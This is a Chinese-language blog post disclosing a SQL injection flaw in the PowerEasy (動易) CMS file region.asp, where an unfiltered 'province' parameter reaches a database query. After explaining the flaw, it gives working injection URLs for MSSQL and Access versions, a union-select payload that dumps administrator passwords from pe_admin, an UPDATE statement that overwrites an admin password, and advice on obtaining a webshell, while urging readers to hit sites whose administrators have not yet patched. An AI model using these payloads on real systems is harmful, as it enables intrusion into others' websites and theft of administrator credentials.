又一動易0day

2021-09-05 06:15:46 字數 1986 閱讀 5761

哇哈哈,昨天看到動易出補丁了,甚是鬱悶,俺拿到這個0day都還沒開始玩,就這樣被洗白鳥,鬱悶啊,早知道不玩動易主站,而且是get提交方式,當初如果聽cn的話,也許這個0day還會一直埋在地下,剛看了下動易的補丁,這次補的地方不至這乙個,哈哈,傳說的7個以上的bug,不知道還省幾個呢?下面是大概乙個月前寫的東西,發出來給大家搞一些懶惰的管理員,補丁都發2天了,還沒補的話,就是管理員的錯了哦,呵呵~~~38也還沒補哦,要上的就快上,哈哈~~~

個人blog:

[url]http://why_tt.mblogger.cn[/url] //個人

個人blog:

[url]  //技術

影響版本:access和mssql

今天下午看了乙個下午的動網**,頭甚是疼,於是晚上回來,找找動易還有其他漏洞沒,結果一看,還真有一處,邏輯錯誤!

在region.asp中

country = replacebadchar(trim(request("country")))

province = replacebadchar(trim(request("province")))

city = replacebadchar(trim(request("city")))

對所有傳入的變數都進行了過濾,但是程式設計者在這裡:

set temprs = conn.execute("select province from pe_province where country='" & country & "' order by provinceid")

if err or temprs.eof then

redim showprovince(0, 0)

province = trim(request.querystring("province"))

else

showprovince = temprs.getrows(-1)

end if

set temprs = conn.execute("select distinct city from pe_city where province='" & province & "'")

大家可以看到,province = trim(request.querystring("province")) 這裡直接取的是傳入的province,而不是過濾後的,所以這個province變數危險了,那麼在下面他是直接帶入了查詢,由於province變數是我們可以隨意構造的,所以我們就可以構造我們的sql語句。

但是要進入這個查詢的前提是:err=true 或者 temprs.eof,而要達到這2個中的乙個,就是要讓conn.execute("select province from pe_province where country='" & country & "' order by provinceid")這條語句在表中查詢不到所要找的country,這樣就好構造了。下面是利用**:

[url]'+and+user>0--

就是在[url]'後面加上我們的sql注入語句。

這就是整個利用原理,很簡單,但也很致命的漏洞。

上面是mssql版本的利用,而如果要是access版本中的利用,那麼怎麼辦呢,呵呵,聰明的你可能覺得我在說廢話老,看吧。

[url]' and 1=1 and '1'='1

這樣的話,我們的and 1=1就是在access版本中的利用。呵呵。這樣就完成這個漏洞在2個版本的利用。

[url]'+and+1=2+union+select+password+from+pe_admin+where+1<2+and+'1'='1

其中username是要暴的字段,哈哈,通殺的感覺爽吧 by

whytt

補充:update pe_admin set password='13955235245b2497' where id=2--

如果不可以列目錄就插管理員,但我喜歡直接update管理員密碼,拿完shell後改回來,或去加乙個

如果可以列目錄就直接找web目錄,然後用nb的getwebshell就可以拿到webshell了